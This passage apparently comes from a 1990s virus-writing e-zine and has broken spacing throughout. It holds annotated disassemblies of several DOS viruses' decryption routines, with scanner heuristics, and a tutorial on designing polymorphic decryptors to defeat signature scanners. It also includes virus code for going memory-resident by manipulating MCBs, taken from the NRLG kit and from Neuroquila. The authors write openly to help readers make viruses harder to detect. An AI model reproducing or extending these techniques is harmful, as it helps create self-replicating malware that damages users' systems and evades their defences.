************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. E Flexible Entry-point. The code seems to be des igned to be linked on any location within an executable file. Com mon for viruses. ************************************************** *******************

Warning: this virus features two decryption routin es...

14CF:0100 E9FD01 JMP 0300 ; jmp to add ress 300h 14CF:0103 CD20 INT 20

-u300 14CF:0300 E81403 CALL 0617 ; Call addre ss 617h 14CF:0303 E0EE LOOPNZ 02F3 ; Remember i nstruction at 303h 14CF:0305 0AF3 OR DH,BL ; still encr ypted 14CF:0307 0818 OR [BX+SI],BL 14CF:0309 D0C1 ROL CL,1

-u617 14CF:0617 E80400 CALL 061E ; Another ca ll... to 61eh... 14CF:061A 0100 ADD [BX+SI],AX 14CF:061C DDFF ESC 2F,DI

-u61e 14CF:061E 5B POP BX ; POP BX o ut of the stack 14CF:061F 81EB7816 SUB BX,1678 ; SUBstrac t 1678h bytes 14CF:0623 81C33012 ADD BX,1230 ; We ADD t o BX 1230h bytes 14CF:0627 53 PUSH BX ; And save BX in the stack 14CF:0628 5F POP DI ; POP BX i nto DI 14CF:0629 B94515 MOV CX,1545 ; Get 1545 h bytes into CX 14CF:062C 81E93112 SUB CX,1231 ; SUBstrac t 1231h to CX 14CF:0630 80B5310108 XOR BYTE PTR [DI+0131] ,08 ; After ru nning the xor ; we're le ft with [303h] ; being e8 ee (call df4h) 14CF:0635 47 INC DI ; INCrease DI in 1 14CF:0636 B20F MOV DL,0F ; MOVe 0fh to dl 14CF:0638 E2F6 LOOP 0630 ; Decrypt a block 14CF:063A 90 NOP ; at addre ss 303h 14CF:063B 90 NOP 14CF:063C 90 NOP 14CF:063D 90 NOP 14CF:063E C3 RET ; Return t o 303h... [...] 14CF:0303 E8E602 CALL 05EC ; CALL to 5ech

-u5ec 14CF:05EC E80000 CALL 05EF ; Second d ecrypting routine 14CF:05EF 5E POP SI ; Restore SI 14CF:05F0 81EE1E04 SUB SI,041E ; SUBstrac t 41eh from SI 14CF:05F4 8DBC3501 LEA DI,[SI+0135] ; Let 's take address SI+135h 14CF:05F8 B9E602 MOV CX,02E6 ; CX=lengt h to be decrypted.

14CF:05FB 8A05 MOV AL,[DI] ; Get [DI] in AL 14CF:05FD 8AE0 MOV AH,AL ; Get AL i n AH 14CF:05FF 51 PUSH CX ; Save it ont top of the stack 14CF:0600 B104 MOV CL,04 ; Let CL b e 4 14CF:0602 D2EC SHR AH,CL ; Shift AH CL-times (4) 14CF:0604 D2E0 SHL AL,CL ; Same on AH but the other way 14CF:0606 0AC4 OR AL,AH ; Store AH next to AL 14CF:0608 8805 MOV [DI],AL ; Store AL at [DI] 14CF:060A 47 INC DI ; INCrease DI in 1 14CF:060B 59 POP CX ; Restore the no. of bytes to CX 14CF:060C E2ED LOOP 05FB ; Decrypti ng... 14CF:060E C3 RET ; Return t o 306h, decrypted by now

-u 14CF:0306 BF0001 MOV DI,0100 14CF:0309 8D9C8003 LEA BX,[SI+0380] 14CF:030D B90200 MOV CX,0002 14CF:0310 87F3 XCHG SI,BX 14CF:0312 FC CLD 14CF:0313 F2 REPNZ 14CF:0314 A5 MOVSW 14CF:0315 87F3 XCHG SI,BX 14CF:0317 C684C20500 MOV BYTE PTR [SI+05C2] ,00 14CF:031C C684780500 MOV BYTE PTR [SI+0578] ,00 14CF:0321 B90500 MOV CX,0005 14CF:0324 8A947004 MOV DL,[SI+0470]

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 5 VIRUS:AC-916.COM infected by Arcv.Joann a {1} virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. F Suspicious file access. Might be able to infec t a file. A Suspicious Memory Allocation. The program uses a non-standard way to search for, and/or allocate memory. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. L The program traps the loading of software. Mig ht be a virus that intercepts program load to infect th e software. M Memory resident code. The program might stay r esident in memory. U Undocumented interrupt/DOS call. The program m ight be just tricky but can also be a virus using a non-standard wa y to detect itself. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Ver y usual for viruses. T Incorrect timestamp. Some viruses use this to mark infected files. ************************************************** *******************

-u 14CF:0100 E90200 JMP 0105 ; Jump t o address 105h 14CF:0103 CD20 INT 20 14CF:0105 BE1601 MOV SI,0116 ; 116h = start decrypting. 14CF:0108 B9BF01 MOV CX,01BF ; Size = 1bfh bytes 14CF:010B 2E CS: 14CF:010C 81040B28 ADD WORD PTR [SI],280B ; ADD 280bh to SI 14CF:0110 83C602 ADD SI,+02 ; Now ADD 2 14CF:0113 49 DEC CX ; SUBstract 1 from CX, ; which will decrypt it 14CF:0114 75F5 JNZ 010B ; Until CX=0

When CX comes to 0 bytes, the virus will be decr ypted. Here you have it from 116h, encrypted, with CX=1bfh

-u116 14CF:0116 DDD8 FSTP ST(0) 14CF:0118 F5 CMC 14CF:0119 2F DAS 14CF:011A 22F1 AND DH,CL 14CF:011C F662E5 MUL BYTE PTR [BP+SI-1B ] 14CF:011F F6FB IDIV BL 14CF:0121 E514 IN AX,14 14CF:0123 E6FC OUT FC,AL 14CF:0125 8FFA POP DX 14CF:0127 D6 DB D6 14CF:0128 C2EB75 RET 75EB

And now decrypted, with 0 in CX... its much more l egible, huh? ;-)

-u116 14CF:0116 E80000 CALL 0119 14CF:0119 58 POP AX 14CF:011A 2D1901 SUB AX,0119 14CF:011D 8BF0 MOV SI,AX 14CF:011F 1E PUSH DS 14CF:0120 06 PUSH ES 14CF:0121 0E PUSH CS 14CF:0122 1F POP DS 14CF:0123 0E PUSH CS 14CF:0124 07 POP ES 14CF:0125 B805FF MOV AX,FF05 14CF:0128 CD13 INT 13

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 6 VIRUS:ANTIMIT.COM infected by Anti-Mit virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. F Suspicious file access. Might be able to infec t a file. S Contains a routine to search for executable (.C OM or .EXE) files. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. D Disk write access. The program writes to disk without using DOS. T Incorrect timestamp. Some viruses use this to mark infected files. J Suspicious jump construct. Entry point via cha ined or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Ver y usual for viruses. ************************************************** *******************

14CF:0100 E80500 CALL 0108 ; CALL t o address 108h

-u108 14CF:0108 BE2A01 MOV SI,012A ; Let's get 12ah in SI 14CF:010B 8A260701 MOV AH,[0107] ; Get [1 07h] into AH 14CF:010F EB12 JMP 0123 ; Addres s 123h

-u123 14CF:0123 8BFE MOV DI,SI ; Copy S I into DI 14CF:0125 B94F01 MOV CX,014F ; CX = 1 4fh bytes 14CF:0128 EBE8 JMP 0112 ; Jump t o 112h

-u112 14CF:0112 AC LODSB ; LOaD a String of Bytes

14CF:0113 32C4 XOR AL,AH ; Store AH next to AL 14CF:0115 AA STOSB ; STOre a String of Bytes 14CF:0116 E2FA LOOP 0112 ; Decryp ting...

Dump from 100h, after running over loop 112h, ther efore decrypted:

-d100 14CF:0100 E8 05 00 90 EB 4D 90 1B-BE 2A 01 8A 26 0 7 01 EB .....M...*..&... 14CF:0110 12 90 AC 32 C4 AA E2 FA-B4 19 CD 21 8A F 0 B4 0E ...2.......!.... 14CF:0120 CD 21 C3 8B FE B9 4F 01-EB E8 4D 49 54 2 0 53 75 .!....O...MIT Su 14CF:0130 78 21 20 24 11 02 2A 2E-43 4F 4D 00 5B 4 1 6E 74 x! $..*.COM.[Ant 14CF:0140 69 2D 4D 49 54 5D 00 46-8C 72 73 D8 53 7 4 72 8C i-MIT].F.rs.Str.

For you the curious, virus was like this when encr ypted:

-d100 14CF:0100 E8 05 00 90 EB 4D 90 1B-BE 2A 01 8A 26 0 7 01 EB .....M...*..&... 14CF:0110 12 90 AC 32 C4 AA E2 FA-B4 19 CD 21 8A F 0 B4 0E ...2.......!.... 14CF:0120 CD 21 C3 8B FE B9 4F 01-EB E8 56 52 4F 3 B 48 6E .!....O...VRO;Hn 14CF:0130 63 3A 3B 3F 0A 19 31 35-58 54 56 1B 40 5 A 75 6F c:;?..15XTV.@Zuo 14CF:0140 72 36 56 52 4F 46 1B 5D-97 69 68 C3 48 6 F 69 97 r6VROF.].ih.Hoi.

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 7 VIRUS:ARARA.COM infected by Arara vi rus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. F Suspicious file access. Might be able to infec t a file. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. G Garbage instructions. Contains code that seems to have no purpose other than encryption or avoiding recognition b y virus scanners. @ Encountered instructions which are not likely t o be generated by an assembler, but by some code generator like a polymorphic virus. ************************************************** *******************

-u 14CF:0100 E91500 JMP 0118 ; Jump to address 118h 14CF:0103 9E SAHF

-u118 14CF:0118 90 NOP 14CF:0119 F8 CLC ; CLear Ca rry flag 14CF:011A BBC904 MOV BX,04C9 ; Get 4c9h in BX 14CF:011D 87CB XCHG CX,BX ; XCHanGe BX for CX 14CF:011F F8 CLC ; CLear Ca rry flag 14CF:0120 BE2B01 MOV SI,012B ; Start of decryption 14CF:0123 82048F ADD BYTE PTR [SI],8F ; ADD 8f bytes to 14CF:0126 90 NOP ; address 12bh (59h) 14CF:0127 F5 CMC ; CoMpleme nt Carry flag 14CF:0128 46 INC SI ; INCrease by 1 SI 14CF:0129 E2F8 LOOP 0123 ; Decrypti ng... 14CF:012B*59* POP CX

Virus was like this when encrypted...

-d200 14CF:0200 25 8B 2B F1 71 3E 92 7F-90 C9 2C 70 6F F 4 64 70 %.+.q>....,po.dp 14CF:0210 70 54 CF CB CA 29 71 C8-B1 3E 92 25 AF 3 E 92 CA pT...)q..>.%.>.. 14CF:0220 29 71 B4 B1 2B 8F 6E 3E-92 7F 90 7F 78 C 7 34 CC )q..+.n>....x.4. 14CF:0230 B2 C3 B2 C3 B2 CE FC F7-4C 74 F7 51 FA F 7 4C 74 ........Lt.Q..Lt

And now, decrypted, it's this way:

-d 14CF:0200 B4 1A BA 80 00 CD 21 0E-1F 58 BB FF FE 8 3 F3 FF ......!..X...... 14CF:0210 FF E3 5E 5A 59 B8 00 57-40 CD 21 B4 3E C D 21 59 ..^ZY..W@.!.>.!Y 14CF:0220 B8 00 43 40 BA 1E FD CD-21 0E 1F 0E 07 5 6 C3 5B ..C@....!....V.[ 14CF:0230 41 52 41 52 41 5D 8B 86-DB 03 86 E0 89 8 6 DB 03 ARARA]..........

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 8 VIRUS:ATOMANT.COM the ATOMANT.UNK1 vir us or variant ³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. A Suspicious Memory Allocation. The program uses a non-standard way to search for, and/or allocate memory. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. E Flexible Entry-point. The code seems to be des igned to be linked on any location within an executable file. Com mon for viruses. L The program traps the loading of software. Mig ht be a virus that intercepts program load to infect th e software. U Undocumented interrupt/DOS call. The program m ight be just tricky but can also be a virus using a non-standard wa y to detect itself. Z EXE/COM determination. The program tries to ch eck whether a file is a COM or EXE file. Viruses need to do this to infect a program. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Ver y usual for viruses. 1 Found instructions which require a 80186 proces sor or above. ************************************************** *******************

14CF:0100 E99F10 JMP 11A2 ; Jump to 11a2h 14CF:0103 0D0A4D OR AX,4D0A

-u11a2 14CF:11A2 55 PUSH BP ; Save BP 14CF:11A3 E80000 CALL 11A6 ; Call ne xt address 14CF:11A6 5D POP BP ; Restore BP (delta offset) 14CF:11A7 51 PUSH CX ; Save CX 14CF:11A8 50 PUSH AX ; Save AX 14CF:11A9 2E CS: 14CF:11AA 8B46FA MOV AX,[BP-06] ; Get [ BP-6] into AX 14CF:11AD 8BF5 MOV SI,BP ; MOVe BP into SI 14CF:11AF 83C618 ADD SI,+18 ; ADD 1 8h to SI 14CF:11B2 B94108 MOV CX,0841 ; Numbe r of bytes to decrypt 14CF:11B5 2E CS: 14CF:11B6 3004 XOR [SI],AL ; Get A L in [SI] 14CF:11B8 2E CS: 14CF:11B9 0024 ADD [SI],AH ; ADD A H to [SI] 14CF:11BB 46 INC SI ; INCre ase SI by 1 14CF:11BC E2F7 LOOP 11B5 ; Dcryp t from 11beh 14CF:11BE A5 MOVSW 14CF:11BF 334F33 XOR CX,[BX+33]

Part of the decrypted text...

14CF:1850 0D 0A 4D 43 20 48 61 6D-6D 65 72 20 72 6 1 70 2D ..MC Hammer rap- 14CF:1860 73 7A 74 A0 72 20 82 73-20 50 45 50 53 4 9 20 93 szt.r .s PEPSI . 14CF:1870 72 81 6C 74 2C 20 64 65-20 6D 6F 73 74 2 0 6B 69 r.lt, de most ki 14CF:1880 63 73 65 72 82 6C 74 81-6B 20 61 20 50 4 5 50 53 cser.lt.k a PEPS

How was it like when encrypted? Like this :-)

14CF:1850 B2 B1 F2 C8 A7 CF E6 12-12 EA 19 A7 19 E 6 17 D2 ................ 14CF:1860 18 01 1B 27 19 A7 09 18-A7 F7 CA F7 F8 C E A7 38 ...'...........8 14CF:1870 19 06 13 1B D3 A7 EB EA-A7 12 14 18 1B A 7 10 EE ................ 14CF:1880 E8 18 EA 19 09 13 1B 06-10 A7 E6 A7 F7 C A F7 F8 ................

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 9 VIRUS:AUS-369B.COM Found the AUSSIE.PARAS ITE.369 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. F Suspicious file access. Might be able to infec t a file. S Contains a routine to search for executable (.C OM or .EXE) files. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. E Flexible Entry-point. The code seems to be des igned to be linked on any location within an executable file. Com mon for viruses. ************************************************** *******************

-u 14CF:0100 E9D200 JMP 01D5 ; Jump t o 1d5h

-u1d5 14CF:01D5 B9CD00 MOV CX,00CD ; No of bytes in CX 14CF:01D8 BE2301 MOV SI,0123 ; Addres s 123h in SI 14CF:01DB 03360101 ADD SI,[0101] ; ADD [1 01h] to SI 14CF:01DF 803401 XOR BYTE PTR [SI],01 ; MOVe 01 into [SI] 14CF:01E2 46 INC SI ; INCrea se SI by 1 14CF:01E3 E2FA LOOP 01DF ; Decryp t from 1f6h... 14CF:01E5 BE3402 MOV SI,0234 ; Addres s 234h in SI 14CF:01E8 03360101 ADD SI,[0101] ; ADD [1 01h] to SI 14CF:01EC B93C00 MOV CX,003C ; No of bytes to decrypt 14CF:01EF 803401 XOR BYTE PTR [SI],01 ; MOVe 01 into SI 14CF:01F2 46 INC SI ; INCrea se SI by 1 14CF:01F3 E2FA LOOP 01EF ; Decryp t from 306h

Decrypted text...

-d280 14CF:0280 89 D6 80 3C E3 75 3A EB-9D BA 0C 01 24 2 A 2E 43 ...<.u:.....$*.C 14CF:0290 4F 4D 00 5B 41 75 73 73-69 65 20 50 61 7 2 61 73 OM.[Aussie Paras 14CF:02A0 69 74 65 20 76 49 52 55-53 20 20 76 2E 2 0 31 2E ite vIRUS v. 1. 14CF:02B0 31 5D 0D 5B 62 4C 41 4D-45 20 6F 54 48 4 5 52 53 1].[bLAME oTHERS 14CF:02C0 5D B8 00 57 CD 21 51 52-B9 CD 00 BE 23 0 1 03 36 ]..W.!QR....#..6

And encrypted...

-d280 14CF:0280 88 D7 81 3D E2 74 3B EA-9C BB 0D 00 25 2 B 2F 42 ...=.t;.....%+/B 14CF:0290 4E 4C 01 5A 40 74 72 72-68 64 21 51 60 7 3 60 72 NL.Z@trrhd!Q`s`r 14CF:02A0 68 75 64 21 77 48 53 54-52 21 21 77 2F 2 1 30 2F hud!wHSTR!!w/!0/ 14CF:02B0 30 5C 0C 5A 63 4D 40 4C-44 21 6E 55 49 4 4 53 52 0\.ZcM@LD!nUIDSR 14CF:02C0 5C B9 00 57 CD 21 51 52-B9 CD 00 BE 23 0 1 03 36 \..W.!QR....#..6

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 10 VIRUS:BETA0575.COM infected by Beta_Bo ys virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. E Flexible Entry-point. The code seems to be des igned to be linked on any location within an executable file. Com mon for viruses. L The program traps the loading of software. Mig ht be a virus that intercepts program load to infect th e software. T Incorrect timestamp. Some viruses use this to mark infected files. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Ver y usual for viruses. ************************************************** *******************

-u100 14CF:0100 E90000 JMP 0103 ; Jum p to 103h, a call 14CF:0103 E80100 CALL 0107 ; CAL L address 107h

-u107 14CF:0107 5D POP BP ; Res tore BP (delta offset) 14CF:0108 81ED0301 SUB BP,0103 ; SUB stract 103h to BP 14CF:010C 8D9E2001 LEA BX,[BP+0120] ; [BP +0120] to BX 14CF:0110 8D96A601 LEA DX,[BP+01A6] ; [BP +01a6] to DX 14CF:0114 3E DS: 14CF:0115 8A8E0301 MOV CL,[BP+0103] ; Enc ryption key to CL 14CF:0119 3BDA CMP BX,DX ; Is BX=DX ? 14CF:011B 7405 JZ 0122 ; If they are virus is ; dec rypted ; If not, continue 14CF:011D 300F XOR [BX],CL ; Dec rypt byte after byte 14CF:011F 43 INC BX ; INC rease BX by 1 14CF:0120 EBF7 JMP 0119 ; Jum p to 119h to continue 14CF:0122 90 NOP 14CF:0123 9F LAHF 14CF:0124 8CAC139F MOV [SI+9F13],CS

Blade Runner/29A Los Angeles, 2019

Polymorphism ************************************************** ***********************> An¡bal Lecter

I know it may be a bit strong featuring both an en cryption article with a polymorphism one in the same issue, but this one i s dedicated to those of you who have a more advanced level. If you are st ill a bit confused with encryption, better forget this article and try wit h YAM.

We'll very basically introduce polymorphic routine s: design, construction and functioning.

In this article, we'll study a 'pseudo-polymorph ic' generator, this is: grounding on a basic routine, make more difficul t the detection of the virus (as the routine's kernel isn't variated), de pending on your aims of work.

What's a PER (Polymorphic Encryption Routine)?:

PERs are born aiming to avoid detection schemes b ased on the uneffective strings of bytes.

These systems are based on the idea that viruses a lways preserve a number of stable bytes in each generation (at least in t he header, when encryp- ted).

With PERs we are trying to avoid this unconvinienc e, always trying to va- riate that header, either:

1. Lexically: substituting directly some hex codes for others.

label : 2825 sub [di],ah turns into: 0005 add [di],al

In this case it would be enough to substract 2 820h from the word at label:, although we should have thought that we should put the value to use in AH or AL; depending on the case, such code would change too. How? keep on reading }:-)

2. Sintactically: changing the order of the comman ds, but seeking the sa- me result.

label : add [di], ah xor [di], ah

turns to: xor [di], ah add [di], ah

This time we should keep in mind the order dur ing encryption so as to invert it correctly.

3. Morphologically: variating its external appea rance, but maintaining its kernel, including garbage in between the co de.

In order to do this, we can take hand of the cl assics:

90h = nop f8h = clc

f9h = stc fah = cli fbh = sti fch = cld dch = std

Look out! these last two are dangerous if usi ng registers SI, DI and CX at the same time, cause you'll have to bear it in mind whether you pretend the loop to increase or decrease :-P

Of course, you can combine them; the easiest example is for the ty- pical bait files:

dw 2000 dup (90fbh) mov ax,4c00h int 21h

This way, we can avoid the virus from not infe cting it by searching a a big number of the same bytes. For the decry pting header, we would have a routine with the XOR and a little algor ithm which would add a series of 'non-code'.

4. Finally, combining the three preceeding ways a s you like. Further on, we'll see a bit on language grammar, specially Conway notation ;-) It would be equally possible to see BNF, but as far as i see it, it is less clear.

From the three basic methods we've just seen for making possible the mu- tations, the one i see the easiest is the third one, as it just affects the code size and the 'innocent' instructions we i nclude in it. The 2nd 1 is a bit more complex, because of having to chang e the order of the ins- tructions though they're kept the same. Whereas th e first one, it's nece- ssary to know all of the opcodes and build a table (we have an example in MtE).

I'll start with the third case; once you pick it u p, you all will know e- nough so as to jump directly onto the second type as well as the third, or even combine them all, or whatever you think of .

Let's see it with a direct example; let's take the decryption routine from the 13th July virus (original source code by Jordi Mas, a spanish ex-AVer dickhead which was known to have some of their viruses in the wild... and these viruses sucked as much as he did ) }:-)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 longitud equ fin-inicio_virus ; D efines the size inicio_virus: inicio: mov al,cs:hasta_final ; D ecrypts the executable xor al,090h ; v iral code mov si,offset hasta_final mov cx,longitud des_bl: xor byte ptr cs:[si],al inc si loop des_bl hasta_final db 90h ; S tores the random value ; i t uses for the encryption ; .... ; r outine ; 'Normal' viral code

; .... fin: ; End of the code - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

In this case, we can see how the string of bytes that starts at 'inicio' and goes until 'hasta_final' (keeping the encrypt ion value outside) will always be the same in each infection; it will only have 255 different po- ssibilities plus one more in which the code wil l be visible (00h). But these strings don't change: the virus is 100% dete ctable.

It can be mutated, but must be done hand-helped, for instance, fitting into it some of these 'innocent' bytes in betwee n the first and the se- cond instruction. Nevertheless, this can be done by any lamer ;-) We are leet and can do it better, can't we? ;-)

In this approach to polymorphism by the third meth od, we can notice three of its characteristics:

1. Routine's kernel doesn't change. 2. The size does. 3. Distance in bytes between main instructions als o variate.

How can we do it? let's see:

Grammar in Conway notation **************************

This kind of grammar, as some of you will yet k now, is mostly used to describe programming language's structure; it is also valid for spoken language, and it is used in AI for recognizing spe ech, or at least that's what i think.

What's pretended with it is to represent the mor phological structure of language by means of a flow chart. Take as an exam ple:

Ú*****®********®*** *********®***********¿ ³ Ú***¯****end***´ start ³ ³ ³ ¯*Â**article***subject*Â*verb Å**¯**adverb***¯*** ******Ù ³ ³ ³ ³ Ú*mode*****´ ³ ³ ³ ³ ³ À*¯**pronoun***¯*****Ù À*****¯***manner*** **********Å*time*****´ ³ ³ À*place****Ù

Let's see it in detail:

Ú***********®******** *********®************¿ ³ Ú* **¯****(end)****¯*****´ (start) ³ ³ ³ *¯**The**Â*virus**Â*infected*Å****always***¯****Ù Ú*massively***´ ³ ³ ³ ³ ³ À*ZhengxiÙ À******************** ********Å*fr.3h to 5h*´ ³ ³ À*some PCs****Ù

Experts on language will pardon me... this ain't a grammar lesson ;-)

If we oberve and analyze the diagram, we can see it is possible to say the same with different words. Eg:

"The virus always infected" "The virus infected massively" "The Zhengxi virus infected from 3h till 5h"

But we're also allowed to 'toy' around. Eg:

"The virus infected always, always" "The Zhengxi virus infected massively from 3h t ill 5h some PCs" "The Zhengxi virus infected always some PCs, a lways from 3h till 5h, always massively"

Can you get the 'hidden' intention of this explana tion? ;-)

Better then, cause next issue we'll put all of thi s into practice and be- tter to have all the concepts assimilated.

* An¡bal *

Upper memory residency ************************************************** ***********************> IntrusO

Well, i'll try to describe some routines used b y some viruses to copy themselves into upper memory... in order to do thi s, i'll try to describe what's that we call upper memory, type we're inter ested in, the MCB, etc. Then i'll try to trace a bit of Neuroquila, lookin g for the techniques it it uses for this kind of residency. Let's start :- )

Ú****************¿ ³ Upper Memory ³ À****************Ù

DOS has something we call UMBs; the segment wher e they start is kept at offset 1fh at the information table about disk buf fers whose direction is returned at ES:BX+12h by the get list of lists -5 2h-, but in order to be able to get onto upper memory blocks, these mus t be linked to conven- tional memory blocks; if not, we'll do it by funct ion 58h (Neuroquila vi- rus does this) ;-) The format of MCBs at UMBs is t he following:

offset 0 byte: 5ah if the last one and 4dh o therwise ************************************* ****************** " 1 word: with the PID (Process ID) ************************************* ****************** " 3 word: size of block in paragraphs ************************************* ****************** " 8 8 bytes: 'UMB' if first block and SM if the last one ************************************* ******************

Then we also have this other memory we're also i nterested in... the XMS controller, which Neuroquila (how not!) does also use... the XMS contro- ller (HIMEM.SYS loads it) adds functions to manage upper memory.

In order to employ the XMS controller services we must check function 43h int 2fh (multiplex), checking for 80h in AL (what Neuroquila does).

Once we know XMS is there, we must ask where to fi nd it, with subfunction 10h, as XMS is not called by means of an int. It w ould be something like:

mov ax,4310h ; Ask addr ess int 2fh mov xms_seg,es ; Save it mov xms_off,bx

Where xms_** would be a struc type of:

xms_mgr label dword xms_off dw 0 xms_seg dw 0

Then, when we would want to use the manager, we'd use function number at AH, and run a call xms_mgr.

Ú***************************¿

³ Normal memory blocks ³ À***************************Ù (Erhmm... i think i sould have started here O:))

Memory blocks under DOS are bytes arrays, always multiples of 16. There- fore, a 16 bit word may keep the address of any pa rt of the memory inside inside the meg an 8086 can handle. When a program is run, the system cre- ates two blocks for itself: the program memory bl ock, and the enviroment memory block.

When a program is run, DOS searches the largest memory block available, and assigns it to the program. The first paragraph address is called PID; moreover, in the first 256 bytes of this area, D OS creates PSP. The en- vironment block is the zone where variables are ke pt: PATH, SET, etc. Now let's talk about MCBs (Memory Control Blocks), as both the program block with the enviroment are following a header that c ontains the information about the assigned MCB. This way:

offset 0 byte: ID *************************************** " 1 PID owner *************************************** " 3 size *************************************** " 5 to 7 reserved *************************************** " 8 to 15 name of owner ***************************************

Usually, a virus would subtract its length from th e size kept at offset 3 and then call int 21h function 4ah to free the m emory, and get it again somewhere else with function 48h. After it, it wou ld mark the MCB with an an 8 at offset 1 (PID). Why? Because system has this PID; this way, it 'tricks' DOS not to use that portion of memory; it 's only left to rep mo- vsb into the block.

Memory managing functions ************************* 48h - Allocate memory block Input: BX = size of block, in paragraphs Output: if CF = 1, AX = error code AX:0 = address of memory block BX = if there was an error, it con tains the maximum size available 49h - Free memory block Input: ES = Memory block segment Output: if CF = 1 , AX = error code 4ah - Modify allocated memory blocks Input: ES = Memory block segment BX = new size of block, in paragra phs Output: if CF = 1 , AX = error code BX = if there was an error, it con tains the maximum size available

This can be seen, for instance, in this routine i took from the NRLG vi- rus creation tool. I think it's very easy to un derstand... hope no one turns up with the (c) cause i wouldnt mind to take the routine from some- where else and this way i'm promoting it };)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 push cs ; pop ax ;ax = my actual s egment dec ax ;dec my segment f or look my MCB mov es,ax ; mov bx,es:[3] ;read the #3 byte of my MCB =total used memory ;************************************************* ************** push cs ; pop es ; sub bx,(offset fin - offset start + 15)/16 ;subtr act the large of my virus sub bx,17 + offset fin ;and 100H for the PSP total mov ah,4ah ;used memory int 21h ;put the new valu e to MCB ;************************************************* ************** mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin mov ah,48h ; int 21h ;request the memor y to fuck DOS! ;************************************************* ************** dec ax ;ax=new segment mov es,ax ;ax-1= new segment MCB mov byte ptr es:[1],8 ;put '8' in the se gment ;************************************************* ************* inc ax ; mov es,ax ;es = new segment lea si,[bp + offset start] ;si = start of vir us mov di,100h ;di = 100H (psp po sition) mov cx,offset fin - start ;cx = lag of virus push cs ; pop ds ;ds = cs cld ;mov the code rep movsb ;ds:si >> es:di - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

This would be the way to copy into memory for a . COM infector. There are some viruses which are clumsier, to say it some wa y, like the 'famous' (i still can't understand why) Friday 13th (Jerusalem ), which calls int 21h, function 31h in order to stay resident, having to execute itself again... it isn't worth to waste our time with that, and i'm sorry for those who use *that*, but i consider it bullshit... a virus oughts to be resident!

Well, up to this point, someone will be pleading for some code from Neu- roquila ;D here it is... :)

try_to_move_virus: push ds push es mov ah,52h ; get list of Lists int 21h mov ds,word ptr es:[bx-2] ; First MC B segment mov si,10h cmp byte ptr [si-0ch],80h ; ¨block s ize > 80FFh paragraphs? mov al,0 ja DOS2_not_loaded_yet ; sure mov di,memory_size ; size it needs ; memory_size = (offset memory_top - offse t start + 15) /16 call alloc_mem

Here, we'll have a deep look into this interesting routine ;)

Ú*********************************¿

³ Memory allocation routine ³ À*********************************Ù

alloc_mem:

mov ax,4300h int 2fh ; He asks for XMS cmp al,80h jnz no_xms_driver

Curiously, we should check for the 2fh vector to b e different from 0, coz that would mean that XMS isn't initialized for t hat DOS version and the system would hang; anyway, i've seen NO program t o bear this in mind... can it be, anyway, a bug of Neuroquila? }:)

Take it easy, i know some of you are heavy fans o f this virus :DDD It is not a bug; Neuroquila first checks for the DOS ver sion it's running under ;)

